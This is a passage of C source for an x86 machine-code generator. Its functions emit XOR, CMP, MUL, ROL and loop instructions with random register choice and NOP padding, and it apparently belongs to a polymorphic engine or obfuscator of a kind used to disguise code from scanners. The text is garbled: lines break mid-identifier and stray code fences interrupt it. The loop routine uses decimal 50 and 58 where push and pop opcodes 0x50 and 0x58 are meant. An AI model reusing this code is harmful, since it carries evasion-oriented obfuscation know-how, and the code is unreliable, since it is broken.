        retBytes=6;
        break;
    }
```

```
            }

    }

    if(!retBytes)
    {
        return retBytes;
    }

    return
retBytes+GenerateNop(srcdest,op1,op2,blkregs,&buffer[retBytes],bytes-retBytes);
}


static unsigned int GenerateXor(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int SIB=0;
    unsigned int retBytes=0;

    switch(srcdest)
    {
        case REGREG:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x31|0x02;
            buffer[1]=0xC0|((char)op1<<3)|((char)op2);
            retBytes=2;
            break;

        case MEMREG:
        case REGMEM:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x31;
            if(srcdest==REGMEM)
            {
                buffer[0]|=0x02;
            }
            buffer[1]=0x00|
                      (srcdest==MEMREG?(op2<<3):(op1<<3))|
                      ((srcdest==MEMREG?op1:op2)>7?0x05:((SIB=1),0x04));
            if(SIB)
            {

if(GenerateRandomNumber()%2||op1==REBP||op1==RESP||op2==REBP||op2==RESP)
                {
                    if(bytes<7)
                    {
                        break;
                    }
                    buffer[1]|=0x80;
                    buffer[2]=(srcdest==MEMREG?op1:op2)|(0x04<<3);
                    *((int*)&buffer[3])=0;
                    retBytes=7;
                    break;
                }
                else
                {
```

```
                    if(bytes<2)
                    {
                        break;
                    }

buffer[1]=0x00|((char)(srcdest==REGMEM?op1:op2)<<3)|(char)(srcdest==MEMREG?op1:o
p2);
                    retBytes=2;
                    break;
                }
            }
            else
            {   if(bytes<6)
                {
                    break;
                }
                *((int*)&buffer[2])=(srcdest==MEMREG?op1:op2);
                retBytes=6;
                break;
            }

        case MEMIMM:
        case REGIMM:

            buffer[0]=0x81;

            if(srcdest==REGIMM)
            {
                if(op1||(GenerateRandomNumber()%2 && bytes>=6))
                {
                    if(bytes<6)
                    {
                        break;
                    }
                    buffer[1]=0xF0+(char)op1;
                    *((int*)&buffer[2])=op2;
                    retBytes=6;
                    break;
                }
                else //op1=REAX(add acc,imm)
                {
                    if(bytes<5)
                    {
                        break;
                    }
                    buffer[0]=0x35;
                    *((int *)&buffer[1])=op2;
                    retBytes=5;
                }
            }
            else if(op1>7)
            {
                if(bytes<10)
                {
                    break;
                }
                buffer[1]=0x35;
                *((int*)&buffer[2])=op1;
                *((int*)&buffer[6])=op2;
                retBytes=10;
                break;
            }
            else
            {
                if(op1==RESP)
                {
                    if(bytes<7)
                    {
```

```
                    break;
                }
                buffer[1]=0x34;
                buffer[2]=0x20+(char)op1;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else if(op1==REBP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]=0x75;
                buffer[2]=0x00;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else
            {
                if(bytes<6)
                {
                    break;
                }
                buffer[1]=(char)op1+0x30;
                *((int*)&buffer[2])=op2;
                retBytes=6;
                break;
            }
        }

    }

    if(!retBytes)
    {
        return retBytes;
    }

    return
retBytes+GenerateNop(srcdest,op1,op2,blkregs,&buffer[retBytes],bytes-retBytes);

}

static unsigned int GenerateCmp(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int SIB=0;
    unsigned int retBytes=0;

    switch(srcdest)
    {
        case REGREG:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x39|0x02;
            buffer[1]=0xC0|((char)op1<<3)|((char)op2);
            retBytes=2;
            break;
```

```
        case MEMREG:
        case REGMEM:
            if(bytes<2)
            {
                break;
            }
            buffer[0]=0x39;
            if(srcdest==REGMEM)
            {
                buffer[0]|=0x02;
            }
            buffer[1]=0x00|
                      (srcdest==MEMREG?(op2<<3):(op1<<3))|
                      ((srcdest==MEMREG?op1:op2)>7?0x05:((SIB=1),0x04));
            if(SIB)
            {

if(GenerateRandomNumber()%2||op1==REBP||op1==RESP||op2==REBP||op2==RESP)
                {
                    if(bytes<7)
                    {
                        break;
                    }
                    buffer[1]|=0x80;
                    buffer[2]=(srcdest==MEMREG?op1:op2)|(0x04<<3);
                    *((int*)&buffer[3])=0;
                    retBytes=7;
                    break;
                }
                else
                {
                    if(bytes<2)
                    {
                        break;
                    }

buffer[1]=0x00|((char)(srcdest==REGMEM?op1:op2)<<3)|(char)(srcdest==MEMREG?op1:o
p2);
                    retBytes=2;
                    break;
                }
            }
            else
            {   if(bytes<6)
                {
                    break;
                }
                *((int*)&buffer[2])=(srcdest==MEMREG?op1:op2);
                retBytes=6;
                break;
            }

        case MEMIMM:
        case REGIMM:

            buffer[0]=0x81;

            if(srcdest==REGIMM)
            {
                if(op1||(GenerateRandomNumber()%2 && bytes>=6))
                {
                    if(bytes<6)
                    {
                        break;
                    }
                    buffer[1]=0xF8+(char)op1;
                    *((int*)&buffer[2])=op2;
                    retBytes=6;
```

```
                break;
            }
            else //op1=REAX(add acc,imm)
            {
                if(bytes<5)
                {
                    break;
                }
                buffer[0]=0x3D;
                *((int *)&buffer[1])=op2;
                retBytes=5;
            }
        }
        else if(op1>7)
        {
            if(bytes<10)
            {
                break;
            }
            buffer[1]=0x3d;
            *((int*)&buffer[2])=op1;
            *((int*)&buffer[6])=op2;
            retBytes=10;
            break;
        }
        else
        {
            if(op1==RESP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]=0x3c;
                buffer[2]=0x20+(char)op1;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else if(op1==REBP)
            {
                if(bytes<7)
                {
                    break;
                }
                buffer[1]=0x7d;
                buffer[2]=0x00;
                *((int*)&buffer[3])=op2;
                retBytes=7;
                break;
            }
            else
            {
                if(bytes<6)
                {
                    break;
                }
                buffer[1]=(char)op1+0x38;
                *((int*)&buffer[2])=op2;
                retBytes=6;
                break;
            }
        }

}

if(!retBytes)
{
```

```
        return retBytes;
    }

    return
retBytes+GenerateNop(srcdest,op1,op2,blkregs,&buffer[retBytes],bytes-retBytes);

}


//this mul is not identical to mul instruction. Really this
//mul will be a combination of operations for multiplicate
//op1*op2 storing the result in op1.

static unsigned int GenerateMul(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    unsigned int index=0;
    unsigned int previndex=0;

    if(blkregs&BLK_EAX && op1!=REAX)
    {
        buffer[index]=0x50; //push eax
        index++;
    }

    if(blkregs&BLK_EDX && op1!=REDX)
    {
        buffer[index]=0x50+REDX; //push edx
        index++;
    }

    previndex=index;

    if(srcdest==REGREG||srcdest==REGMEM||srcdest==REGIMM)
    {
        if(op1!=REAX)

index+=GenerateMov(REGREG,REAX,op1,blkregs,&buffer[index],0xFFFFFFFF);
        else
            previndex=0xFFFFFFFF;
    }
    else
    {
        index+=GenerateMov(REGMEM,REAX,op1,blkregs,&buffer[index],0xFFFFFFFF);
    }

    if(previndex==index)
    {
        return 0;
    }

    if(srcdest==REGREG || srcdest == MEMREG) //mul eax,mul ecx,mul edx,...
    {
        buffer[index]=0xF7;
        index++;
        buffer[index]=0xE0+(char)op2;
        index++;
    }
    else if(srcdest == REGMEM)               //mul [eax],mul [ecx],mul [edx]...
    {
        if(op2==RESP)
        {
            buffer[index]=0xF7;
```

```
            index++;
            buffer[index]=0x24;
            buffer[index+1]=0x24;
            index+=2;
        }
        else if(op2==REBP)
        {
            buffer[index]=0xF7;
            index++;
            buffer[index]=0x65;
            buffer[index+1]=0x00;
            index+=2;
        }
        else if(op2<=7)
        {
            buffer[index]=0xF7;
            index++;
            buffer[index]=0x20+(char)op2;
            index++;
        }
        else
        {
            previndex=index;

index+=GenerateMov(REGIMM,REDX,op2,blkregs,&buffer[index],0xFFFFFFFF);
            if(previndex==index)
            {
                return 0;
            }
            buffer[index]=0xF7;
            index++;
            buffer[index]=0x20+REDX;
            index++;
        }
    }
    else
    {
        //we can use edx,we know it was saved if it was blocked
        previndex=index;
        index+=GenerateMov(REGIMM,REDX,op2,blkregs,&buffer[index],0xFFFFFFFF);
        if(previndex==index)
        {
            return 0;
        }
        buffer[index]=0xF7;
        index++;
        buffer[index]=0xE0+REDX;
        index++;
    }

    previndex=index;

    if(srcdest==REGREG||srcdest==REGMEM||srcdest==REGIMM)
    {
        if(op1!=REAX)

index+=GenerateMov(REGREG,op1,REAX,blkregs,&buffer[index],0xFFFFFFFF);
        else
            previndex=0xFFFFFFFF;
    }
    else
    {
        index+=GenerateMov(MEMREG,op1,REAX,blkregs,&buffer[index],0xFFFFFFFF);
    }

    if(previndex==index)
    {
        return 0;
```

```
    }

    if(blkregs&BLK_EDX && op1!=REDX)
    {
        buffer[index]=0x58+REDX; //pop edx
        index++;
    }

    if(blkregs&BLK_EAX && op1!=REAX)
    {
        buffer[index]=0x58; //pop eax
        index++;
    }

    return index;
}

static unsigned int GenerateRolMem32Imm8(
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    //this function will ignore srcdest,it will generate
    //always a pseudo rol [Mem32],imm8
/*
00367529 C1 00 09             rol         dword ptr [eax],9
0036752C C1 01 09             rol         dword ptr [ecx],9
0036752F C1 02 09             rol         dword ptr [edx],9
00367532 C1 03 09             rol         dword ptr [ebx],9
00367535 C1 04 24 09          rol         dword ptr [esp],9
00367539 C1 45 00 09          rol         dword ptr [ebp],9
0036753D C1 06 09             rol         dword ptr [esi],9
00367540 C1 07 09             rol         dword ptr [edi],9
*/
    if(bytes<3)
        return 0;

    buffer[0]=0xc1;

    switch(op1) {

    case REAX:
    case RECX:
    case REDX:
    case REBX:
    case RESI:
    case REDI:
        buffer[1]=op1;
        buffer[2]=op2;
        return 3+GenerateNop(srcdest,op1,op2,blkregs,&buffer[3],bytes-3);

    case REBP:
        if(bytes<4)
            return 0;
        buffer[1]=0x45;
        buffer[2]=0;
        buffer[3]=op2;
        return 4+GenerateNop(srcdest,op1,op2,blkregs,&buffer[4],bytes-4);

    case RESP:
        if(bytes<4)
            return 0;
        buffer[1]=0x04;
        buffer[2]=0x24;
        buffer[3]=op2;
```

```
        return 4+GenerateNop(srcdest,op1,op2,blkregs,&buffer[4],bytes-4);

    default:
        return 0;

    };

}


unsigned int GenerateOperation
(unsigned int operation,
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes)
{
    switch(operation)
    {

    case OP_PUSH:
        return GeneratePush(srcdest,op1,op2,blkregs,buffer,bytes);

    case OP_POP:
        return GeneratePop(srcdest,op1,op2,blkregs,buffer,bytes);

    case OP_MOV:
        return GenerateMov(srcdest,op1,op2,blkregs,buffer,bytes);

    case OP_ADD:
        return GenerateAdd(srcdest,op1,op2,blkregs,buffer,bytes);

    //NOT USED NOW
    //case OP_AND:
        //return GenerateAnd(srcdest,op1,op2,blkregs,buffer,bytes);
    //NOT USED NOW
    //case OP_OR:
        //return GenerateOr(srcdest,op1,op2,blkregs,buffer,bytes);

    case OP_SUB:
        return GenerateSub(srcdest,op1,op2,blkregs,buffer,bytes);

    case OP_XOR:
        return GenerateXor(srcdest,op1,op2,blkregs,buffer,bytes);

    //NOT USED NOW
    //case OP_MUL:
        //return GenerateMul(srcdest,op1,op2,blkregs,buffer,bytes);

    case OP_NOP:
        return GenerateNop(srcdest,op1,op2,blkregs,buffer,bytes);

    case OP_CMP:
        return GenerateCmp(srcdest,op1,op2,blkregs,buffer,bytes);

    case OP_ROL:
        return GenerateRolMem32Imm8(srcdest,op1,op2,blkregs,buffer,bytes);
    default:
        return 0;

    }

}

unsigned int GenerateLoop(
tOperation * operations,
```

```
unsigned int counterReg,
unsigned int countertype,
unsigned int iterations,
unsigned int blkregs,
unsigned char * buffer)
{

    tOperation * node=(void*)0;
    unsigned int index=0;
    unsigned int previndex=0;
    unsigned int InitVA=0;

    node = operations;

    if(countertype==REGREG||countertype==REGIMM||countertype==REGMEM)
    {

index+=GenerateMov(REGIMM,counterReg,iterations,blkregs,buffer,0xFFFFFFF1);
        if(!index)
        {
            return 0;
        }
    }
    else
    {

index+=GenerateMov(MEMIMM,counterReg,iterations,blkregs,buffer,0xFFFFFFF1);
        if(!index)
        {
            return 0;
        }
    }

    InitVA = index;

    while(node)
    {
        if(node->subloopnode)
        {
            buffer[index]=50+counterReg;
            index++;
            previndex=index;

index+=GenerateLoop(node->subloop,counterReg,countertype,node->subnodeiterations
,blkregs,&buffer[index]);
            if(previndex==index)
            {
                return 0;
            }
            buffer[index]=58+counterReg;
            index++;
        }
        else
        {
            previndex=index;
            index+=GenerateOperation(node->operation,node->srcdest,
                                node->op1,node->op2,node->blkregs,
                                &buffer[index],node->bytes);
            if(previndex==index)
            {
                return 0;
            }
        }

        node=node->next;

    }
```

```
    if(countertype==REGREG||countertype==REGIMM||countertype==REGMEM)
    {
        previndex=index;

index+=GenerateSub(REGIMM,counterReg,1,blkregs,&buffer[index],0xFFFFFFF1);
        if(index==previndex)
        {
            return 0;
        }
        previndex=index;

index+=GenerateCmp(REGIMM,counterReg,0,blkregs,&buffer[index],0xFFFFFFF1);
        if(index==previndex)
        {
            return 0;
        }
    }
    else
    {
        previndex=index;

index+=GenerateSub(MEMIMM,counterReg,1,blkregs,&buffer[index],0xFFFFFFF1);
        if(index==previndex)
        {
            return 0;
        }
        previndex=index;

index+=GenerateCmp(MEMIMM,counterReg,0,blkregs,&buffer[index],0xFFFFFFF1);
        if(index==previndex)
        {
            return 0;
        }
    }

    buffer[index]=0x0F;
    buffer[index+1]=0x85;
    *((int*)&buffer[index+2])=InitVA - index - 6;
    index+=6;



    return index;
}


tOperation * AddOperation(tOperation * first,tOperation * newop)
{
    tOperation * last;

    last = first;

    while(last && last->next)
    {
        last = last->next;
    }

    if(last?
      (last->next=callocz(sizeof(tOperation),1),last=last->next):
      (last=callocz(sizeof(tOperation),1)))
    {
        last->blkregs = newop->blkregs;
        last->bytes = newop->bytes;
        last->next = (void*)0;
        last->op1 = newop->op1;
        last->op2 = newop->op2;
        last->operation = newop->operation;
        last->srcdest = newop->srcdest;
```

```
        last->subloop = newop->subloop;
        last->subloopnode = newop->subloopnode;
        last->subnodeiterations = newop->subnodeiterations;
        return last;
    }

    return (void*)0;
}



void FreeOperations(tOperation * first)
{
    tOperation * temp;
    while(first)
    {
        temp = first;
        first = first->next;
        freez(temp);
    }
}


unsigned int UnblockReg(unsigned int blocked,unsigned int reg)
{
    switch(reg) {

    case REAX:
        return blocked&NOT_BLK_EAX;

    case REBX:
        return blocked&NOT_BLK_EBX;

    case RECX:
        return blocked&NOT_BLK_ECX;

    case REDX:
        return blocked&NOT_BLK_EDX;

    case REBP:
        return blocked&NOT_BLK_EBP;

    case RESP:
        return blocked&NOT_BLK_ESP;

    case RESI:
        return blocked&NOT_BLK_ESI;

    case REDI:
        return blocked&NOT_BLK_EDI;

    }

    return blocked;
}


unsigned int GetFreeRegAndBlock(unsigned int * blocked)
{

if(!(*blocked&(BLK_EAX|BLK_ECX|BLK_EDX|BLK_EBX|BLK_ESI|BLK_EDI|BLK_EBP|BLK_ESP))
)
    {
        return 0xFFFFFFFF;
    }

    while(1)
    {
```

```
        if(!(*blocked&BLK_EAX) && GenerateRandomNumber()%2)
        {
            *blocked|=BLK_EAX;
            return REAX;
        }
        else if(!(*blocked&BLK_EBX) && GenerateRandomNumber()%2)
        {
            *blocked|=BLK_EBX;
            return REBX;
        }
        else if(!(*blocked&BLK_ECX) && GenerateRandomNumber()%2)
        {
            *blocked|=BLK_ECX;
            return RECX;
        }
        else if(!(*blocked&BLK_EDX) && GenerateRandomNumber()%2)
        {
            *blocked|=BLK_EDX;
            return REDX;
        }
        else if(!(*blocked&BLK_EBP) && GenerateRandomNumber()%2)
        {
            *blocked|=BLK_EBP;
            return REBP;
        }
        else if(!(*blocked&BLK_ESP) && GenerateRandomNumber()%2)
        {
            *blocked|=BLK_ESP;
            return RESP;
        }
        else if(!(*blocked&BLK_ESI) && GenerateRandomNumber()%2)
        {
            *blocked|=BLK_ESI;
            return RESI;
        }
        else if(!(*blocked&BLK_EDI) && GenerateRandomNumber()%2)
        {
            *blocked|=BLK_EDI;
            return REDI;
        }
    }

    return 0xFFFFFFFF;
}

unsigned int GetBlockedValue(unsigned int reg)
{
    switch(reg) {

    case REAX:
        return BLK_EAX;

    case REBX:
        return BLK_EBX;

    case RECX:
        return BLK_ECX;

    case REDX:
        return BLK_EDX;

    case REBP:
        return BLK_EBP;

    case RESP:
        return BLK_ESP;

    case RESI:
```

```
        return BLK_ESI;

    case REDI:
        return BLK_EDI;

    }

    return 0;
}


---------------------------------
---------------------------------
---------------------------------
---------------------------------

codegeneratorcommon.h
---------------------

#ifndef __CODEGENERATORCOMMON_H__
#define __CODEGENERATORCOMMON_H__

enum
{
REGREG,
REGMEM,
MEMREG,
REGIMM,
MEMIMM,
};

enum{ //Registers
REAX,
RECX,
REDX,
REBX,
RESP,
REBP,
RESI,
REDI
};

enum
{
OP_MOV,
OP_ADD,
OP_SUB,
OP_OR,
OP_AND,
OP_XOR,
OP_MUL,
OP_NOP,
OP_CMP,
OP_PUSH,
OP_POP,
OP_ROL
};

//Blocked regs flags

#define BLK_EAX 0x00000001
#define BLK_ECX 0x00000002
#define BLK_EDX 0x00000004
#define BLK_EBX 0x00000008
#define BLK_ESP 0x00000010
#define BLK_EBP 0x00000020
#define BLK_ESI 0x00000040
#define BLK_EDI 0x00000080
```

```
#define BLK_ALL BLK_EAX|BLK_ECX|BLK_EDX|BLK_EBX|BLK_ESP|BLK_EBP|BLK_ESI|BLK_EDI

#define NOT_BLK_EAX 0xFFFFFFFE
#define NOT_BLK_ECX 0xFFFFFFFD
#define NOT_BLK_EDX 0xFFFFFFFB
#define NOT_BLK_EBX 0xFFFFFFF7
#define NOT_BLK_ESP 0xFFFFFFEF
#define NOT_BLK_EBP 0xFFFFFFDF
#define NOT_BLK_ESI 0xFFFFFFBF
#define NOT_BLK_EDI 0xFFFFFF7F

#define SECURE_MOV_SIZE  20
#define SECURE_ADD_SIZE  20
#define SECURE_AND_SIZE  20
#define SECURE_OR_SIZE   20
#define SECURE_XOR_SIZE  20
#define SECURE_SUB_SIZE  20
#define SECURE_CMP_SIZE  20
#define SECURE_MUL_SIZE  20
#define SECURE_PUSH_SIZE 20
#define SECURE_POP_SIZE  20
#define SECURE_LOOP_SIZE (SECURE_MOV_SIZE+\
                          SECURE_SUB_SIZE+\
                          SECURE_CMP_SIZE+\
                          20)

typedef struct _operation
{
    struct _operation * next;

    unsigned int operation;
    unsigned int srcdest;
    unsigned int op1;
    unsigned int op2;
    unsigned int blkregs;
    unsigned int bytes;

    unsigned int subloopnode;
    struct _operation * subloop;
    unsigned int subnodeiterations;


}tOperation;

unsigned int GenerateOperation(
unsigned int operation,
unsigned int srcdest,
unsigned int op1,
unsigned int op2,
unsigned int blkregs,
unsigned char * buffer,
unsigned int bytes);

unsigned int GenerateLoop(
tOperation * operations,
unsigned int counterReg,
unsigned int countertype,
unsigned int iterations,
unsigned int blkregs,
unsigned char * buffer);

void FreeOperations(
tOperation * first);

tOperation * AddOperation(
tOperation * first,
tOperation * newop);
```

```
unsigned int GetBlockedValue(
unsigned int reg);

unsigned int GetFreeRegAndBlock(
unsigned int * blocked);

unsigned int UnblockReg(
unsigned int blocked,
unsigned int reg);

#ifdef JOLLYDEBUG
extern unsigned int useint3;
#endif

#endif


---------------------------------
---------------------------------
---------------------------------
---------------------------------
```